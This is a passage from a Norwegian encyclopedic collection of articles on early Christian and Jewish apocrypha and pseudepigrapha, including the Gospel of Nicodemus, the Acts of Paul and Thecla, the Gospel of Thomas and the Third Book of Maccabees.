Kapittel 10: Jesu ord på korset, spott og dialog med røverne Dysmas og Gastas som han blir korsfestet sammen med.

Kapittel 11: Skildrer Jesu død og forteller om de romerske vaktenes reaksjon på alle de underfundige jærtegn som skjer. Josef fra Arimatea får tillatelse til å gravlegge Jesus. Han kjøper linklede og gir ham en grav hvor ingen før har vært gravlagt.

Kapittel 12: Josef fra Arimatea pågripes og arresteres av de jødiske lederne for å ha krenket dem ved å sammenlikne dem med Goliat. Det lykkes har på mirakuløst vis rømt. Samtidig jaktes det på Nikodemus og de 12 navngitte mennene uten at de blir funnet og fanget.

Kapittel 13: Josefs forsvinning oppdages. Gravvaktene forteller om Jesu oppstandelse, men bestikkes til ikke å fortelle det videre.

Kapittel 14: Noen jøder fra Galilea forteller at de har sett Jesus stå på fjellet Mamilk og be sine disipler om å reise ut i verden og drive misjon og forkynne Guds ord, helbrede syke og drive ut demoner, før han stiger opp i himmelen. Yppersteprestene Annas og Kaifas påstår at oppstandelsen fra de døde kun var et bedrag og falske rykter.

Kapittel 15: Nikodemus støtter galileernes fortelling. Josef fra Arimatea besøker Nikodemus i hans hjem, hvor det stelles i stand til festmåltid for de jødiske lederne. Josef forteller nå hvordan den gjenoppståtte Jesus kom og befridde ham fra arresten, og brakt ham hjem til seg selv med beskjed om å holde seg i ro der i 40 dager.

Kapittel 16: Etter å ha hørt Josefs beretning kommer jødene til erkjennelse og gir seg til å faste. Vi får høre at den romerske soldaten Longinus påførte Jesus skade ved å stikke spydet sitt i siden på ham. Læreren Levi forteller historien om den gang Jesus som barn oppsøte de skriftlærde i tempelet. Galileerne vitner om Jesu himmelfart, og Gud prises for sitt universelle herredømme.

Jesu nedfart til dødsriket

Allerede på 400-tallet ble det gjort en koptisk oversettelse av Pilatusaktene. Likevel er nok den andre delen med nedstigningen til Dødsriket eldst. Trolig er det med røtter tilbake i oldkirken at Frelseren skildres i den liminale tilstand da han i tre døgn oppholder seg blant de døde, og sørger for å befri Adam og Eva og alle de andre som i livet var blitt lurt av djevelen til å gjøre galt. Den visjonære opplevelsen hevdes å ha vært overlevert Josef fra Arimatea og Nikodemus på skriftruller ved Jesu grav.

Teksten synes basert på Lukas 23 hvor det forteller om to sjeler som sto opp fra de døde sammen med Jesus og gikk til Det høye råd for å vitne om hva som skjedde da Jesus steg ned til dødsriket. Her er det Nikodemusevangeliet kan berette hva Jesus foretok seg i Dødsriket i tre dagene før han sto opp fra de døde, som det ikke fortalt noe om i Bibelen.

En regner med at det både finnes kristendomsfiendtlige og kristendomsvennlige Pilatusakter, i en tid da kristendommen var i ferd med å vinne fotfeste i større deler av Romerrike. Likeledes hevder dr. teol Niels Willert at det finnes vitnesbyrd om at også siste del av Nikodemusevangeliet måtte ha tjent som anti-religiøst propagandaskrift.

«Nidrstigningar Saga»

Nikodemusevangeliet ble på 1100-tallet oversatt og omarbeidet til norrønt under tittelen Nidrstigningar Saga eller Soga om nedstiginga i dødsriket; verket ble en rik kilde til norsk, middelalderlig kirkekunst. Den korte teksten på 10 kapittel skildrer et kosmisk drama med himmelmakter og beskrivelser av dødsriket.

Moses og profetene Jesaja og Mika opptrer; det samme gjør også Midgardsormen. Kulturmøtet mellom den oldkirkelige teksten og den norrøne kulturens repertoar av gode og onde makter blir fullstendig når djevelen omtales som «jøtulen Satan, hovdingen i Dødsriket».

Paulus og Senecas brevveksling

Paulus og Senecas brevveksling er et apokryfisk skrift fra oldkirken, trolig skrevet på latin av en ukjent forfatter en gang mellom 350 og 390, og med urette utgitt for å være en brevveksling mellom apostelen Paulus og den samtidige romerske filosofen og keiserrådgiveren Seneca den yngre (4 f.Kr.-65 e.Kr).

Verket består av 14 brev; 14 skal angivelig være fra Seneca og 6 fra Paulus. De inneholder ingen originale tanker eller oppsiktsvekkende teologiske utsagn, men derimot mange høflighetsfraser og retoriske stiløvelser. Verket er antagelig skrevet «ut fra et ønske om å koble sammen to sentrale figurer innen kristen og hedensk moraltenkning, og ikke minst å innlemme Paulus i filosofenes flokk».

Brevene omtales av Hieronymus i år 392, og kjennes i mange håndskrifter, med noen innebyrdes forskjeller. Brevene var populær lesning i senantikken og middelalderen. Erasmus av Rotterdam (1466–1536) ga den endelige dom at teksten måtte være et falsum. Teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011.

Paulus og Teklas gjerninger

Freske fra Efesos, viser skriftets hovedpersoner Paulus og Tekla.

Paulus og Teklas gjerninger er et apokryfisk skrift fra oldkirken, skrevet på gresk ca år 170-180. Det har vært en del av det større skriftet Paulus’ gjerninger, og tilhører de apokryfe apostelgjerningene, en sjanger som skildrer de kristne apostlenes liv og gjerningene i tiden etter det som skildres i Bibelens skrift Apostlenes gjerninger.

Det meste av handlingen i skriftet foregår i Ikonium, der det er kjent fra Apostlenes gjerninger kap 14 at Paulus oppholdt seg på en av sine misjonsreiser. Forfatteren av skriftet kjente godt til Apostlenes gjerninger og Johannes’ gjerninger, men er nok i like stor grad inspirert av samtidens romandiktning med litterære elementer som fare, berging, adskillelse og gjenforening.

Når Paulus kommer til Ikonium blir Tekla tiltrukket av forkynnelsen. Hun ønsker å leve i sølibat, noe som fører til at hennes forlovede trekker både henne og Paulus for retten. Paulus forvises, mens Tekla på mystisk vis overlever et forsøk på å brenne henne på bålet. De to møtes igjen og reiser tl Antiokia, hvor Tekla blir kastet til villdyrene men overlever og døper seg selv. Fortellingen slutter med at hun vender tilbake til familien og lever et asketisk liv. Fortellingen inneholder mange karakteristiske romanelementer, men også trekk av kristen virkelighetsforståelse: «idealet om kyskhet og sølibat i en del tidligkristne miljøer ga mulighet for kvinner til å forme sine liv mer på egne premisser». Tekla fremstår etterhvert som fortellingens myndige hovedperson, som både døper seg selv og underviser andre.

Fortellingen var svært populær i sin samtid, og er bevart i mange manuskripter, mens det øvrige av Paulus’ gjerninger bare er delvis bevart. Skriftet er omtalt av Tertullian tidlig på 200-tallet og av Origenes noen tiår senere. Tertullian er skeptisk fordi det skildrer en kvinne som døper og underviser. Skriftet er også omtalt av kirkehistorikeren Eusebius av Cæsarea ca 320, og han var positiv til det, men regnet det ikke som like allment anerkjent som de kanoniske skriftene. Teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011.

Paulus’ brev til laodikeerne

Paulus’ brev til laodikeerne er et apokryfisk skrift fra oldkirken, trolig skrevet på latin av en ukjent forfatter en gang før år 300, og med urette tilskrevet Paulus.

I sitt brev til kolosserne, kap 4, v 16, nevner Paulus at han har hatt en brevveksling med menigheten i Laodikea. Disse brevene er ikke bevart, og det foreliggende brevet «er trolig laget for å gi et inntrykk av hva det opprinnelige brevet kan ha handlet om.» Det er utformet og bygget opp som de andre, kjente Paulusbrevene, og inneholder for det meste allminnelige oppfordringer om å leve et kristent liv. Brevet har særlig mange lån fra Filipperbrevet, og det antydes også at brevet er skrevet mens Paulus satt i fengsel.

Brevet kjennes i mange håndskrifter, og har tilsynelatende vært populært og utbredt. Teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011.

Paulus’ tredje brev til korinterne

Paulus’ tredje brev til korinterne er et apokryfisk skrift fra oldkirken, skrevet på gresk av en ukjent forfatter ca år 150 eller noe senere, og med urette tilskrevet Paulus.

Brevet utgir seg for å være en oppfølger til de to kanoniske korinterbrevene, og inngår i en kontekst av apokryfe brev som drøfter gnostisismen. I det korte Korinternes brev til Paulus fortelles det at Korintermenigheten har blitt oppsøkt av de to erkekjetterne Simon Magus og Kleobios, og om flere kjetterske påstander som disse har kommet med. Paulus’ tredje brev til korinterne er et svar på dette brevet, og «Paulus» tilbakeviser kjetteriet i sitt svar: «Brevet har til hensikt å avvise gnostiske oppfatninger om at det ikke er Gud, men en halvgud, en ‘demiurg’, som har skapt verden, og at GTs profeter ikke skulle være sendt av Gud. Brevet vil også forsvare at Jesus hadde en menneskekropp, og at de dødes oppstandelse omfatter både sjel og kropp.» Gjennom å låne Paulus’ navn har den ukjente forfatteren og de som senere har sirkulert og brukt teksten forsøkt å gi ekstra tyngde til sin kamp mot vranglæren.

Begge brevene har senere vært redigert inn som en del av den større Paulus’ gjerninger. Brevet har tidligere vært regnet som del av Bibelens kanon av den syriske og den armenske kirke. Teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011, sammen med Korinternes brev til Paulus.

Paulus’ visjon

Paulus’ henrykkelse. Maleri av Nicolas Poussin 1643.

Paulus’ visjon er et apokryfisk skrift fra oldkirken, opprinnelig skrevet på gresk av en ukjent forfatter en gang mellom år 150 og 200. Teksten skildrer en visjonsopplevelse eller åpenbaring som Paulus skal ha hatt, og som han omtalte som en «oppstigning gjennom himlene» i andre korinterbrev kap 12. Paulus visjon tar fram en rekke tema og motiv som er typiske for slike åpenbaringsskrifter.

De bevarte delene av verket utgjør 51 kapitler, men det har muligens vært lengre, ettersom avslutningen kommer brått. De to første kapittel skildrer det angivelige funnet av skriftet i år 388, i et nedgravet skrin i et hus som skal ha tilhørt Paulus. I kapittel 3–10 skildres menneskenes synder og Guds tålmodighet. I kapittel 11-18 begynner Paulus’ henrykkelse med en oppstigning hvor han får se tilfeller av mennesker som har fått Guds dom på godt og vondt; i kapittel 19-30 får Paulus den første visjon av paradiset, deretter (kapittel 31-44) får han se helvete og straffedommene. I den siste delen (kapittel 45-51) er han igjen i himlene, hvor han møter jomfru Maria, Abraham, Isak og Jakob. Her blir han møtt med respekt og engleopptog.

Israelsfolket, og indirekte jøder får en kritisk behandling i teksten (kap 48-49). «Det er også interessant å se hvordan skriftet kombinerer jødiske, kristne og gresk-romerske forestillinger om livet i det hinsidige». Motiv fra Edens hage i første Mosebok flettes sammen med motiv fra Johannes’ åpenbaring og de førkristne elementene dødsriket Tartaros og dødens elv Akheron.

Verket fikk forholdsvis stor utbredelse i den vestlige kristendommen i senantikken og middelalderen, og har påvirket mange senere visjonsfortellinger. Augustin var imidlertid kritisk til verket, og kalte det «et sammenkok av uholdbart materiale». Selv om det opprinnelig ble skrevet på gresk, er det bare bevart en forkortet versjon på originalspråket. Varianter er kjent i bruddstykker på koptisk, syrisk og arameisk, og den mest komplette versjonen er den latinske. Teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011.

Peter og de tolv apostlers gjerninger

Peter og de tolv apostlers gjerninger er et apokryfisk skrift fra oldkirken, sannsynligvis skrevet på gresk en gang mellom år 100-350, men bare kjent gjennom et koptisk-språklig håndskrift fra 300- eller 400-tallet som ble funnet blant Nag Hammadi-skriftene (VI, 1) i 1945. Det tilhører de apokryfe apostelgjerningene, en sjanger som skildrer de kristne apostlenes liv og gjerningene i tiden etter det som skildres i Bibelens skrift Apostlenes gjerninger.

Handlingen i fortellingen framstår som en slags allegori med elementer fra visjonslitteraturen. Apostlene legger ut på en sjøreise og kommer til byen Bosted. Her møter de en perleselger kalt Litargoel. Teksten ser ut til å ta utgangspunkt i Jesu lignelser og annet fortellingsstoff fra de nytestamentlige evangeliene, men utvikler dette i en særegen retning. Det er elementer i fortellingen som tyder på at teksten stammer fra et gnostisk miljø, men det er uenighet om dette blant forskere.

Teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011.

Peters apokalypse er et apokryft verk som kanskje er skrevet omkring år 100. I verket kan man lese om forskjellige straffer som venter forskjellige syndere etter døden.

Klemens av Alexandria skrev om verket og hevdet at det var av guddommelig opprinnelse.

Peters gjerninger

Peters gjerninger er et apokryfisk skrift fra oldkirken, skrevet på gresk ca år 190-200, enten i Roma eller i Lilleasia. Det tilhører de apokryfe apostelgjerningene, en sjanger som skildrer de kristne apostlenes liv og gjerningene i tiden etter det som skildres i Bibelens skrift Apostlenes gjerninger.

Fortellingen begynner i Roma, når Paulus forlater byen for å dra på en misjonsreise til Spania. I hans fravær forleder trollmannen Simon Magus den kristne forsamlingen i Roma. Peter reiser fra Jerusalem til Roma og overvinner flere hindre og overbeviser frafalne før han kan konfrontere Simon Magus og beseire ham. Peters reise og kamp mot Simon og hans beskyttere omfatter kapitlene 5 til 32. I kapittel 33-34 forkynner Peter i byen, og overbeviser flere kvinner om kyskhet.

Kapitlene 35-40 åpner med Peters flukt ut av byen for å unngå forfølgelse. På veien møter han Kristus, og spør ham «Herre, hvor går du?» – et sitat som i sin latinske form «Quo vadis, domine?» er utgangspunktet for den polske forfatteren Henryk Sienkiewicz roman Quo vadis (1896). Da Peter får høre at Kristus er på vei til Roma for å bli korsfestet, vender også Peter tilbake til byen for å bli dømt og henrettet. I teksten forklarer Peter også hvorfor han ønsker å bli korsfestet med hodet ned:

«Ettertiden har ofte tolket det som et tegn på ydmykhet: Peter anser seg ikke verdig til å dø på samme måte som Frelseren. Fortellingen gir imidlertid en annen forklaring, som kommer fram i hans tale på korset. Opp ned-stillingen er et tegn på menneskets falne tilstand. Dets fall gjør at alt er endevendt. […] Men med Jesu død på korset er det hele på underefullt vis snudd om, gjenopprettet. Peters utsagn i teksten er imidlertid uklare og er også blitt tolket dit hen at det ‘første menneske’ som han avbilder, er en form for gnostisk forløserskikkelse.»

Det 41. og siste kapitlet i teksten forteller om en engel som oppsøker keiser Nero og skremmer ham til å avstå fra videre kristenforfølgelser.

Verket er ikke bevart i sin helhet, og det er noen forskjeller mellom greske og latinske manuskripter.

Petersevangeliet

Petersevangeliet er et apokryft evangelie-fragment som forteller om Jesu død og oppstandelse.

Teksten ble funnet i 1887 som en gravamulett ved et kloster i Akhmim i det nordlige Egypt. Manuskriptet var fra 800-tallet, men tekstsammenfall med fragmenter av Oxyrhynchus papyri fra 200-tallet viser at teksten minst er fra 200-tallet. Skriftet var kjent fra før, ettersom Eusebius av Cæsarea henviser til det.

Deler av innholdet tyder på at forfatteren tolker Jesu død i lys av det gamle testamente, med mer ordrette sitat fra Salmenes bok enn i de synoptiske evangelier. Skriftet inneholder også skildringer av Jesu opptreden i dødsriket. Det er uenighet om hvorvidt Petersevangeliet bygger på de kanoniske evangelienes fremstilling, eller om det knytter seg til en eldre, muntlig tradisjon av begivenheter rundt Jesu død. For eksempel fortelles det at en stor folkemengde kom fra Jerusalem for å se Jesu grav.

En pseudepigrafi er en tekst som utgir seg for å være forfattet av en navngitt historisk person, vanligvis for å påberope seg autoritet. Begrepet brukes vanligvis om eldre, religiøse tekster.

Det er ikke avklart hvor mange slike tekster som finnes, men blant de gammeltestamentlige pseudepigrafer finnes blant annet Enoks bok, to andre «Enoks bøker», og flere tekster som tilskrives Esra. Både i Det nye testamente og blant apokryfene finnes det tekster hvor det påberopte forfatterskapet er omstridt eller avvist.

Pseudo-Clemens

Pseudo-Clemens (eller -Klemens), Klementinerne eller Den klementinske litteraturen er to tekster fra ca år 400 som med urette er tilskrevet Klemens I (pave ca 88-97) og skildrer Klemens liv, møter med apostelen Peter og deres felles reiser og drøftinger. De to tekstene, Homiliene og Recognitiones er begge trolig basert på en tapt roman fra 300-tallet.

Pseudo-Klemens’ homilier er bevart i sin originale greske form, mens Recognitiones bare er bevart i en oversettelse til latin. Bøkene har mye sammenfallende tekst. I tillegg til de to tekstene finnes manuskripter med et sammendrag (Epitome) av Homiliene og med sammenredigeringer av Homiliene og Recognitiones.

Homiliene er en variert og omfangsrik skriftsamling som inneholder både brev, lange fortellende passasjer, dialoger og taler/prekener. Hovedtråden i teksten er en rammefortelling om Klemens oppvekst og livsreise. Innenfor denne rammefortellingen er hovedvekten lagt på gjengivelse av Peters taler. Teksten har en jødekristen tendens.

Pseudo-Klemens’ homilier er oversatt til norsk i antologien Tidligkristne apokryfer, 2011. Homiliene er en av få kilder til skapelsesberetningen i henhold til orfismens lære, og et utdrag fra verket er derfor også utgitt på norsk i antologien Orfeus, 2009.

Pseudo-Matteus’ evangelium

Pseudo-Matteus’ evangelium er en nytestamentlige apokryfisk tekst, skrifter av tvilsom opprinnelse, og går noen ganger under tittelen Matteus’ barndomsevangelium, men det egentlige navnet på teksten var i antikken Boken om Jomfru Marias opprinnelse og Frelserens barndom.Pseudo-Matteus er en tekst innenfor en sjangre av «barndomsevangelier» som forsøker å fylle detaljer om livet til Jesus fra Nasaret fra han var født og opp til han var tolv år gammel, det tidsrommet som ble beskrevet i korthet i evangeliene til Matteus og Lukas. I vestlige Europa var Pseudo-Matteus’ evangelium en stor kilde til billedsykluser som karakteriseres som Livet til Maria, spesielt i tiden før senmiddelalderen.

Fortellingen har en rekke med brev innledningsvis mellom den tidlige kirkefadereren Hieronymus og to biskoper som ber førstnevnte om å oversette et «hebraisk bind, skrevet ved hånd av den mest velsignende evangelist Matteus» om fødselen til jomfrumoderen og barndommen til Jesus. Selv om verket er tilskrevet Hieronymus er det usannsynlig at han skrev eller oversatte det: «ingen som er kjent med Hieronymus’ skrivestil vil tro at dette er autentisk».

«Hieronymus» satte sammen og oversatte verket, omhyggelig «oversatte det ord for ord, nøyaktig slik det var på hebraisk ettersom det er hevdet at det ble komponert av den hellige evangelist Matteus, og skrevet forut hans evangelium», skjønt han uttrykte tvil om dets ekthet.

Den første halvdelen av teksten forteller historien om Joachim og Anna, Jomfru Marias foreldre, Joakims sorg og forfølgelsen på grunn av deres mangel på etterkommere, hans landflyktighet og retur til Anna med barn; og om Marias fødsel, hvordan hun går i tjeneste som tempeljomfru, hennes liv i bønn og løfte om kyskhet, og valget av Josef som hennes ektemann og vokter da hun ble for gammel til å være tempeljomfru; bebudelsen; Josefs kval med å finne ut at hun var gravid, og hans endelige godtagelse av hennes ærlighet; hans og Marias prøvelse i tempelet og folket i tempelets godtagelse av Marias og Josefs uskyld.

Teksten er hovedsakelig en redigert reproduksjon av Evangeliet til Jakob den rettferdige (Jesus’ bror), fulgt av en redegjørelse av flukten til Egypt (som det ikke er kjent hva den er basert på), og derpå en redigert gjenfortelling av Tomas’ barneevangelium. I alt vesentlig er verket et rimelig heldig forsøk på å redigere og utforme disse tekstene til et logisk enkeltverk. Evangeliet det første som nevner at en okse og et esel var tilstede ved Jesus’ fødsel.

Verket hadde en sterk påvirkning på tankesettet i middelalderen, delvis på grunn av at det ble inkludert i den populære boken Legenda Aurea. En av konsekvensene av dette er dannelsen av avlede eller sekundære bøker som Libellus de Nativitate Sanctæ Mariæ som består av kun de tidligste delene av teksten som handler om Marias fødsel. En annen tekst som var basert på Pseudo-Matteus er det arabiske barndomsevangelium som hadde mange beskrivelser av overnaturlige hendelser og beskrivelser.

Verket inspirerte også innholdet i den populære engelske sangen The Cherry-Tree Carol.

Salme 151

Salme 151 er et apokryfisk verk skrevet innenfor det Gamle Testamentes tros- og tekstunivers. Verket finnes i Septuaginta – den greske oversettelsen av Salmenes bok, men mangler i den hebraiske versjonen.

Teksten er kort, bare sju vers, og presenterer seg som en tekst av David etter tvekampen med Goliat. Det er vanskelig å datere den, men det er funnet ulike tekstfragment av ulike deler av salmen blant Dødehavsrullene, og dette kan tyde på at salmen «kan være en forkortet gresk versjon av to hebraiske salmer.»

Salmen regnes ikke som en del av Bibelens kanon; men den «nyter stor anseelse i de ortodokse kirker», og er tatt med i det norske bibelselskaps utgave av apokryfene i 1988

Sibyllens orakler

Sibyllens orakler (latin Oracula Sibyllina) er et religiøst, profetisk skrift skrevet i versemålet heksameter av flere forskjellige ukjent forfattere mellom 180 f.Kr. og 300-tallet e.Kr. Verket er svært omfattende, og den bevarte delen av det består av 12 (eller 14) bøker, med i alt 4 000 verselinjer. Innholdet veksler mellom de ulike delene av verket, og det inneholder tankegods fra både jødedom, romersk religion og kristendom.

Sibyllers spådommer var viktige i romersk religion, men «denne type stoff ble også tidlig hentet inn i jødisk og kristen tradisjon.» Teksten er holdt i en jeg-form hvor sibyllen fører ordet, og er tematisk springende. Den forteller om ting som har skjedd, og om ting som skal skje. Her finnes både profetiske domsord og varsler om endetiden og håpet om frelse.

De eldste delene av verket er trolig bok 3-5, som har et jødisk innhold, mens de yngste delene av verket er den korte bok 6, som har et rent kristent innhold, og bok 7-8 som også er preget av kristen tro og tanke.

«Sibyllens orakler ble raskt oversatt til latin, og øvet stor innflytelse i Vesten. Kirkelærere som Laktans og Augustin siterer dem en rekke ganger. I dette tilfellet er Augustin mindre kritisk enn han er overfor andre apokryfe skrifter, og han ser det som sannsynlig at sibyllen virkelig har profetert om Kristus.» Utdrag fra teksten er oversatt til norsk i antologien Tidligkristne apokryfer, 2011.

Tidligkristne apokryfer

Caravaggios maleri «Peters korsfestelse» viser apostelen Peters korsfestelse med hodet ned, slik det beskrives i Peters gjerninger

Tidligkristne apokryfer er en bok i Bokklubbens serie Verdens Hellige Skrifter, redigert av Reidar Aasgaard og utgitt i 2011. Boken inneholder apokryfe apostelgjerninger, brev og åpenbaringer fra oldkirken.

De apokryfe skriftene er tekster om Jesus’ lære og gjerninger, og tekster som skildrer liv, lære og gjerninger for hans etterfølgere, de kristne apostlene. De apokryfe skriftene som skildrer apostlene er både flere, og sannsynligvis mer innflytelsesrike, enn de apokryfe evangeliene. De er vanligvis heller ikke like kontroversielle. Slike tekster kalles apokryfe fordi de ikke inngår i Bibelens kanon. De fleste av de apokryfe skriftene springer ut av samme miljø og skriftkultur som de kanoniske skriftene, men de fleste av dem er noe yngre, og noen av dem stammer fra grupper med avvikende lære, blant annet gnostikerne. Andre tekster er ikke-autentiske vitnesbyrd skrevet lenge etter de aktuelle hendelsene, og forfatterskapet er tillagt en apostel for å gi det vekt. Noen av tekstene er også rene fiksjonstekster, skrevet som oppbyggelig underholdning.

Mange av de forestillingene som har festet seg om den tidlige kristendommens historie har utgangspunkt i apokryfe tekster, som at Peter ble korsfestet med hodet ned, og at Tomas dro til India som misjonær.

Tekstene skildrer direkte og indirekte framveksten av den kristne kirken og den kristne kulturen, og gjenspeiler mange av de utfordringer som de kristne sto ovenfor. Her er flere kamper for den rette lære, oppgjør med magikere og tidligere religioner, og konflikter med storsamfunnet og romerske myndigheter. Et annet særtrekk er aktive kvinneskikkelser, og introduksjonen av from kyskhet som en ny og alternativ kvinnerolle i samfunnet.

De ulike apokryfe apostelgjerningene har noen fellestrekk med evangeliene, de skildrer som regel én apostel som hovedperson, og han går rundt og forkynner, underviser og gjør undere, slik Jesus gjør. Mange av tekstene er også inspirert av samtidens hellenistiske romaner.

Åpenbaringsskildringer, eller apokalypser, var en vanlig sjanger i den tidlige kristenheten. Det er to hovedtyper av åpenbaringer: tid og rom. En gruppe skildrer framtidige hendelser, mens en andre skildrer visjoner av underjordiske tilstander, himmelen og/eller helvete.

Tomas’ barneevangelium

Tomas’ barneevangelium eller Thomas’ barndomsevangelium er et apokryft verk som forteller om under Jesus skal ha gjort som barn, fra 5 til 12 år alder.

Også to andre apokryfe verk er tilskrevet apostelen Thomas: Tomasevangeliet, et verk som angivelig inneholder sitater fra Jesus, og Apostelen Thomas’ gjerninger, som skildrer apostelens martyrdød i India.

Tomas’ barneevangelium ble kanskje skrevet på slutten av 100-tallet. Flere av dets beretninger ble henvist til av tidlige skribenter, og flere av fortellingene kom til å bli populære. Skriftet er ikke en sammenhengende fortelling, men frittstående episoder, med særlig vekt på såkalte «hevnunder», hvor Jesus straffer den som opponerer mot ham eller tviler på hans autoritet, noen ganger endog med døden. Straffen ble opphevet hvis man angret, og anerkjente Jesu makt. Dette gjør det naturlig å anta at teksten er skrevet i en kontekst hvor det var en konflikt mellom dem som anerkjente Jesus, og dem som ikke gjorde det.

En oversettelse av Einar Thomassen ble utgitt i samlingen Apokryfe evangelier i serien Verdens Hellige Skrifter i 2001.

Tomas’ gjerninger

Tomas’ gjerninger eller Apostelen Thomas’ gjerninger (Acta Thomae) er et apokryfisk skrift fra oldkirken, skrevet på gresk ca år 220-240, enten i Roma eller i Lilleasia. Det tilhører de apokryfe apostelgjerningene, en sjanger som skildrer de kristne apostlenes liv og gjerningene i tiden etter det som skildres i Bibelens skrift Apostlenes gjerninger. Det skildrer apostelen Thomas’ liv, misjonsvirksomhet og martyrdød i India.

Verket begynner med å skildre Jesus’ møte med apostlene etter oppstandelsen, hvor han gir dem misjonsbefalingen. Thomas blir tildelt ansvaret for India. Thomas vegrer seg, og kommer ikke avgårde før Jesus selger ham til en indisk handelsmann. Når han kommer til India får Thomas i oppdrag å bygge et palass til Kong Gundafor. Selv om teksten i noen henseende har et legendepreg, har det hatt stor betydning for de indiske Thomaskristne, som kilde til deres tidlige kirkehistorie. Selv om handlingen angivelig skal finne sted i India knytter navn og andre ting skriftet til persisk eller romersk miljø, og mange forskere antar at det har blitt skrevet i et syrisk områrde, muligens i Edessa i nord.

Fortellingen skildrer tretten gjerninger og fortellingen om Tomas’ martyrdød. Noen elementer er Tomas’ forkynnelse, omvendelse, kvinner som velger kyskhet, forfølgelse og fengsling. Det er mange skildringer av dåp og nattverd, og flere liturgiaktige hymner og bønner er flettet inn i teksten.

Et innskutt element i skriftet er det gnostiske diktet «Sangen om perlen», som Thomas framfører mens han sitter i fengsel. Diktet er av syrisk opphav og har antagelig hatt et frittstående liv; det inneholder flere typiske eventyrelementer. Skriftet er skrevet av den jødisksyriske gnostikeren og sektgrunnleggeren Bardaisan (154–222).

På konsilet i Trient ble det endelig avgjort at skriftet ikke skulle tilhøre den bibelske kanon.

Tomasevangeliet

Koptisk Tomasevangeliet

Tomasevangeliet, eller Thomasevangeliet, er en samling Jesussitater som hevdes å være skrevet ned av apostelen Tomas. Tomasevangeliet er et av de apokryfe evangeliene som ikke inngår i Bibelens kanon, og regnes av flere å være påvirket av gnostisismen.

Datering

Enkelte forskere, som Elaine Pagels og Helmut Koester, mener at Tomasevangeliet kan være eldre enn Markusevangeliet, det antatt eldste evangeliet i Bibelen. Andre mener det er laget på 100-tallet.

Forskere har foreslått dateringer mellom år 60 og så sent som år 140, avhengig av om evangeliet er den originale kilden til utsagnene, eller om forfatterens bygger på andre greske eller koptiske tekster. Forskerne havner som regel i en tidlig datering fra år 60 til 100, eller en sen datering omkring år 140 avhengig av hva som vektlegges.

Beskrivelse

I Tomasevangeliet gjengis flere utsagn fra Jesus, noe som gjør det til et såkalt Jesusord-evangelium. Derimot finnes det ingen beskrivelser av Jesu guddommelighet eller av hans liv og virke. Tomasevangeliet er ikke en del av Bibelens kanon, men skildringen følger hele Jesu liv, på samme måte som de fire evangeliene i Det nye testamentet, særlig i de synoptiske evangeliene (Matteus, Markus og Lukas).

En fullstendig versjon av Tomasevangeliet ble funnet sammen med en rekke andre tekster i Nag Hammadi-skriftene i 1945. Dette funnet omfattet 13 papyruskodekser med i alt 46 ulike skrifter, alle greske tekster i koptisk oversettelse, det vil på det språket de første kristne i Egypt snakket. Tekstene har gitt økt innsikt i jødedommen og kristendommen i antikk tid.

Tomasevangeliet ble tidligere regnet som et såkalt gnostisk evangelium, sammen med evangeliene til Maria Magdalena og Filip, men nyere forskere mener at det mangler mange av særtrekkene til gnostisismen. Gnostisismen var en innsiktsreligion som flertallet i oldkirken avviste.

Norske utgaver

Jesus sa,

«Jeg er lyset som er over alle ting. Jeg er alt: av meg er alt blitt til, og for meg er alt oppnådd. Del et trestykke; Jeg er der. Løft opp steinen, og dere skal finne meg der.

– Thomasevangeliet, vers 77

Tomasevangeliet ble for første gang utgitt på norsk i 1994 (3 Gjemte og glemte evangelier: Tomasevangeliet, Filipeevangeliet og Fredsevangeliet) på Det Frie Samfunns forlag, oversatt av Even Lorch-Falch. I 2000 kom en ny oversettelse av Svein Woje og Kari Klepp (Thomasevangeliet) på Borglund forlag.

En oversettelse av Einar Thomassen ble utgitt i samlingen Apokryfe evangelier i serien Verdens Hellige Skrifter i 2001.

Tredje Baruk eller Den greske Baruks apokalypse er et skrift som man mener er skrevet omkring 130 e.Kr. og som er overlevert på gresk og kirkeslavisk. Boken skriver om Jerusalems fall for Babylonerne og forteller om syner som Baruk skal ha fått.

Tredje Esra eller Første Esdras

Kong Artaxerxes I av Persia gir jødene friheten.

Tredje Esra eller Første Esdras er et apokryfisk verk skrevet innenfor det Gamle Testamentes tros- og tekstunivers. Verket er en egen gresk oversettelse av Andre krønikebok 35–36, Esras bok og Nehemjas bok 7–8. Oversettelsen ser ut til å være basert på en annen versjon av den hebraiske teksten enn den vanlige, og har noen variasjoner i forhold til denne. I tillegg finnes det et eget avsnitt (3;1–5;6) som er unikt for denne boken: om tre unge menn i den persiske kongens livgarde.

I gresk og engelsk tradisjon kalles dette verket Første Esdras. Navnet Tredje Esra er fra latinsk tradisjon, og er basert på at Esras bok var «Første Esra» mens Nehemjas bok var «Andre Esra». Boken er også omtalt som Den greske Esraboken. Det finnes også et skrift kalt Fjerde Esra. Verket er trolig skrevet i det 2. eller 1. århundre f.Kr..

Boken har 9 kapitler og forteller om tiden før det babylonske fangenskap, om bortførelsen til Babylon og forholdene der, men mest om tre hjemferder, gjenetableringen i Judea og reetableringen av jødisk tro og kultus under ledelse av Serubabel og Esra.

I Østkirken regnes boken som en del av Bibelens kanon. Den katolske kirke anser det ikke som kanonisk, og det hører derfor ikke til de deuterokanoniske bøker i deres forstand. I den anglikanske tradisjon regnes verket blant apokryfene, mens protestantene sjelden tar den med.

Tredje Makkabeerbok

Gullmynt utstedt av Ptolemaios IV av Egypt, som spiller en større rolle i Tredje Makkabeerbok.

Tredje Makkabeerbok er et religiøst verk som finnes i de fleste ortodokse bibler som en del av Anagignoskomena (gresk for «verdig å bli lest») fra den greske Septuaginta. Protestanter og katolikker betrakter den derimot ikke som hellig, men som pseudepigrafi, unntatt den tyske Brødremenigheten som har inkludert den i Apokryfene i den tsjekkiske bibelen, Bible kralická.

Boken har faktisk ingenting å gjøre med makkabeerne eller deres opprør mot Selevkidriket, slik som det er beskrevet i Første Makkabeerbok og Andre Makkabeerbok. Isteden forteller den om forfølgelsen om jødene under farao Ptolemaios IV av Egypt på 200-tallet f.Kr., noe skjer en del århundrer før makkabeeropprøret. Navnet på boken kommer tilsynelatende fra en del likheter mellom denne boken og fortellingene om martyriet til Eleasar og makkabeeriske ungdommer i Andre Makkabeerbok. Ypperstepresten Shimon er også nevnt.

Sammendrag

